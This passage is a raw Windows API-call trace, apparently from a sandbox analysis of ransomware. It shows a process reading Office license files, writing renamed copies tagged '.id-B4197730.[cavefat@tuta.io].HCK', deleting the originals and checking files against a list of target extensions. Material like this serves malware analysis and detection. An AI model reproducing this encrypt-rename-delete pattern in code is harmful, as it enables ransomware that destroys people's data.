lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0243.634] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11e, lpOverlapped=0x0) returned 1 [0243.634] SetEndOfFile (hFile=0x454) returned 1 [0243.634] CloseHandle (hObject=0x454) returned 1 [0243.635] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.635] SetEndOfFile (hFile=0x560) returned 1 [0243.636] CloseHandle (hObject=0x560) returned 1 [0243.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms")) returned 1 [0244.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0244.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0244.375] lstrlenW (lpString=".doc") returned 4 [0244.375] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.375] lstrlenW (lpString=".docx") returned 5 [0244.375] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.375] lstrlenW (lpString=".pdf") returned 4 [0244.375] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.375] lstrlenW (lpString=".xls") returned 4 [0244.375] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.375] lstrlenW (lpString=".xlsx") returned 5 [0244.375] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.375] lstrlenW (lpString=".ppt") returned 4 [0244.375] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0244.375] lstrlenW (lpString=".zip") returned 4 [0244.375] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.375] lstrlenW (lpString=".rar") returned 4 [0244.375] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.375] lstrlenW (lpString=".bz2") returned 4 [0244.375] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.375] lstrlenW (lpString=".7z") returned 3 [0244.375] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0244.375] lstrlenW (lpString=".dbf") returned 4 [0244.375] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0244.375] lstrlenW (lpString=".1cd") returned 4 [0244.375] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0244.375] lstrlenW (lpString=".jpg") returned 4 [0244.375] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0244.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0244.375] lstrlenW (lpString=".doc") returned 4 [0244.375] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.375] lstrlenW (lpString=".docx") returned 5 [0244.376] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.376] lstrlenW (lpString=".pdf") returned 4 [0244.376] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.376] lstrlenW (lpString=".xls") returned 4 [0244.376] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.376] lstrlenW (lpString=".xlsx") returned 5 [0244.376] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.376] lstrlenW (lpString=".ppt") returned 4 [0244.376] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0244.376] lstrlenW (lpString=".zip") returned 4 [0244.376] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.376] lstrlenW (lpString=".rar") returned 4 [0244.376] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.376] lstrlenW (lpString=".bz2") returned 4 [0244.376] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.376] lstrlenW (lpString=".7z") returned 3 [0244.376] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0244.376] lstrlenW (lpString=".dbf") returned 4 [0244.376] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0244.376] lstrlenW (lpString=".1cd") returned 4 [0244.376] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0244.376] lstrlenW (lpString=".jpg") returned 4 [0244.376] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.376] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0244.376] lstrlenW (lpString="O365HomePremR_Subscription5-pl.xrm-ms") returned 37 [0244.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0244.958] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11199) returned 1 [0244.958] CloseHandle (hObject=0x4c8) returned 1 [0244.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms")) returned 0x220 [0245.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0245.146] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.146] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0245.147] GetLastError () returned 0x0 [0245.147] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0245.149] WriteFile (in: hFile=0x3fc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0245.151] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0245.151] WriteFile (in: hFile=0x3fc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11e, lpOverlapped=0x0) returned 1 [0245.151] SetEndOfFile (hFile=0x3fc) returned 1 [0245.151] CloseHandle (hObject=0x3fc) returned 1 [0245.151] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.151] SetEndOfFile (hFile=0x4b8) returned 1 [0245.154] CloseHandle (hObject=0x4b8) returned 1 [0245.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0245.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms")) returned 1 [0245.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0245.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0245.155] lstrlenW (lpString=".doc") returned 4 [0245.155] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.155] lstrlenW (lpString=".docx") returned 5 [0245.155] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.155] lstrlenW (lpString=".pdf") returned 4 [0245.155] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.155] lstrlenW (lpString=".xls") returned 4 [0245.155] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.155] lstrlenW (lpString=".xlsx") returned 5 [0245.155] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.155] lstrlenW (lpString=".ppt") returned 4 [0245.155] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0245.155] lstrlenW (lpString=".zip") returned 4 [0245.155] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.155] lstrlenW (lpString=".rar") returned 4 [0245.155] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.155] lstrlenW (lpString=".bz2") returned 4 [0245.155] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.156] lstrlenW (lpString=".7z") returned 3 [0245.156] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0245.156] lstrlenW (lpString=".dbf") returned 4 [0245.156] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0245.156] lstrlenW (lpString=".1cd") returned 4 [0245.156] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0245.156] lstrlenW (lpString=".jpg") returned 4 [0245.156] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0245.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0245.156] lstrlenW (lpString=".doc") returned 4 [0245.156] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.156] lstrlenW (lpString=".docx") returned 5 [0245.156] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.156] lstrlenW (lpString=".pdf") returned 4 [0245.156] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.156] lstrlenW (lpString=".xls") returned 4 [0245.156] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.156] lstrlenW (lpString=".xlsx") returned 5 [0245.156] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.156] lstrlenW (lpString=".ppt") returned 4 [0245.156] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0245.156] lstrlenW (lpString=".zip") returned 4 [0245.156] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.156] lstrlenW (lpString=".rar") returned 4 [0245.156] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.156] lstrlenW (lpString=".bz2") returned 4 [0245.156] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.156] lstrlenW (lpString=".7z") returned 3 [0245.156] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0245.156] lstrlenW (lpString=".dbf") returned 4 [0245.156] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0245.156] lstrlenW (lpString=".1cd") returned 4 [0245.156] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0245.156] lstrlenW (lpString=".jpg") returned 4 [0245.156] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.156] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0245.156] lstrlenW (lpString="O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 36 [0245.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0245.157] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11630) returned 1 [0245.157] CloseHandle (hObject=0x4b8) returned 1 [0245.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms")) returned 0x220 [0245.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0245.158] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.158] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0245.159] GetLastError () returned 0x0 [0245.159] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0245.160] WriteFile (in: hFile=0x3fc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0245.161] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0245.161] WriteFile (in: hFile=0x3fc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11c, lpOverlapped=0x0) returned 1 [0245.161] SetEndOfFile (hFile=0x3fc) returned 1 [0245.162] CloseHandle (hObject=0x3fc) returned 1 [0245.162] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.162] SetEndOfFile (hFile=0x4b8) returned 1 [0245.164] CloseHandle (hObject=0x4b8) returned 1 [0245.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0245.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms")) returned 1 [0245.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0245.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0245.165] lstrlenW (lpString=".doc") returned 4 [0245.165] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.165] lstrlenW (lpString=".docx") returned 5 [0245.165] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.165] lstrlenW (lpString=".pdf") returned 4 [0245.165] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.166] lstrlenW (lpString=".xls") returned 4 [0245.166] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.166] lstrlenW (lpString=".xlsx") returned 5 [0245.166] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.166] lstrlenW (lpString=".ppt") returned 4 [0245.166] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0245.166] lstrlenW (lpString=".zip") returned 4 [0245.166] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.166] lstrlenW (lpString=".rar") returned 4 [0245.166] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.166] lstrlenW (lpString=".bz2") returned 4 [0245.166] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.166] lstrlenW (lpString=".7z") returned 3 [0245.166] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0245.166] lstrlenW (lpString=".dbf") returned 4 [0245.166] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0245.166] lstrlenW (lpString=".1cd") returned 4 [0245.166] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0245.166] lstrlenW (lpString=".jpg") returned 4 [0245.166] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0245.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0245.166] lstrlenW (lpString=".doc") returned 4 [0245.166] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.166] lstrlenW (lpString=".docx") returned 5 [0245.166] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.166] lstrlenW (lpString=".pdf") returned 4 [0245.166] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.166] lstrlenW (lpString=".xls") returned 4 [0245.166] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.166] lstrlenW (lpString=".xlsx") returned 5 [0245.166] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.166] lstrlenW (lpString=".ppt") returned 4 [0245.166] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0245.166] lstrlenW (lpString=".zip") returned 4 [0245.166] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.166] lstrlenW (lpString=".rar") returned 4 [0245.166] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.166] lstrlenW (lpString=".bz2") returned 4 [0245.166] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.166] lstrlenW (lpString=".7z") returned 3 [0245.166] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0245.166] lstrlenW (lpString=".dbf") returned 4 [0245.166] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0245.167] lstrlenW (lpString=".1cd") returned 4 [0245.167] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0245.167] lstrlenW (lpString=".jpg") returned 4 [0245.167] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.167] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0245.167] lstrlenW (lpString="O365HomePremR_SubTrial1-pl.xrm-ms") returned 33 [0245.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0245.168] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11183) returned 1 [0245.168] CloseHandle (hObject=0x4b8) returned 1 [0245.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms")) returned 0x220 [0245.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0245.168] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.168] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc 